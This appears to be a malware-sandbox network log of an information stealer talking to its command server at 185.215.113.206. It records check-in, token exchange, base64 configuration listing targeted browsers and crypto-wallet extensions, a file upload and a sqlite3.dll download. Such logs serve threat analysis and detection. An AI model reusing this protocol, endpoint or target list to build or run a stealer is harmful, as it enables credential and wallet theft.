Nov 7, 2024 06:01:17.044208050 CET	1236	IN	Data Raw: ba 2c 21 64 85 92 f2 94 5a 2e 87 70 23 2c f9 d9 5f de 96 b6 6a 1b 27 dd 93 c4 a9 54 74 07 b7 d2 4a 32 bb 82 36 7f fc a5 3a 2c d8 cd 94 fe 96 f0 b2 94 ae 6c 82 1c f3 b8 9b 22 95 5f 22 e1 91 9c 26 2c 4f d2 9f 0c 53 b2 c6 2a 21 64 a6 2c 03 d3 a6 0c Data Ascii: ,!dZ.p#,_j'TtJ26:,l"_"&,OS*!d,Usg6pX'n,!qs&wx0rx`,7pXLp<a$3l~^S`M^^,&MoC3pmwx4{&xw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49859	185.215.113.206	80	3980	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:20.322048903 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:01:21.229104996 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:21.232774019 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build"tale------JDBFIIEBGCAKKEBFBAAF--
Nov 7, 2024 06:01:21.533535004 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 49 35 5a 6a 42 6c 5a 6a 56 6b 59 57 5a 69 4f 54 63 31 4d 6d 51 32 59 57 51 34 4f 57 51 34 5a 6a 55 78 59 57 55 32 4d 44 6b 77 4e 6d 4a 6b 59 6d 59 31 5a 47 55 34 59 6a 6b 30 59 7a 55 34 4e 32 49 7a 4d 6a 6c 6d 5a 44 46 6b 4e 47 4d 35 4e 44 64 6d 4d 6a 49 34 59 6a 59 34 59 6a 51 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MGI5ZjBlZjVkYWZiOTc1MmQ2YWQ4OWQ4ZjUxYWU2MDkwNmJkYmY1ZGU4Yjk0YzU4N2IzMjlmZDFkNGM5NDdmMjI4YjY4YjQ5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 7, 2024 06:01:21.534899950 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDAFHDHCBFIDGCFIDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 2d 2d 0d 0a Data Ascii: ------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="message"browsers------IEHDAFHDHCBFIDGCFIDG--
Nov 7, 2024 06:01:21.822256088 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 7, 2024 06:01:21.822334051 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 7, 2024 06:01:21.823740959 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"plugins------GDHDAEBGCAAFIDGCGDHI--
Nov 7, 2024 06:01:22.109687090 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 7, 2024 06:01:22.109702110 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 7, 2024 06:01:22.109714985 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 7, 2024 06:01:22.109803915 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 7, 2024 06:01:22.109816074 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 7, 2024 06:01:22.109827995 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 7, 2024 06:01:22.109841108 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 7, 2024 06:01:22.110321999 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 7, 2024 06:01:22.115173101 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="message"fplugins------BKJKEBGDHDAFHJKEGIID--
Nov 7, 2024 06:01:22.400902987 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 7, 2024 06:01:22.420721054 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.215.113.206 Content-Length: 6607 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:01:22.420769930 CET	6607	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 7, 2024 06:01:23.219983101 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:23.836389065 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:24.121264935 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 7, 2024 06:01:24.121293068 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49861	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
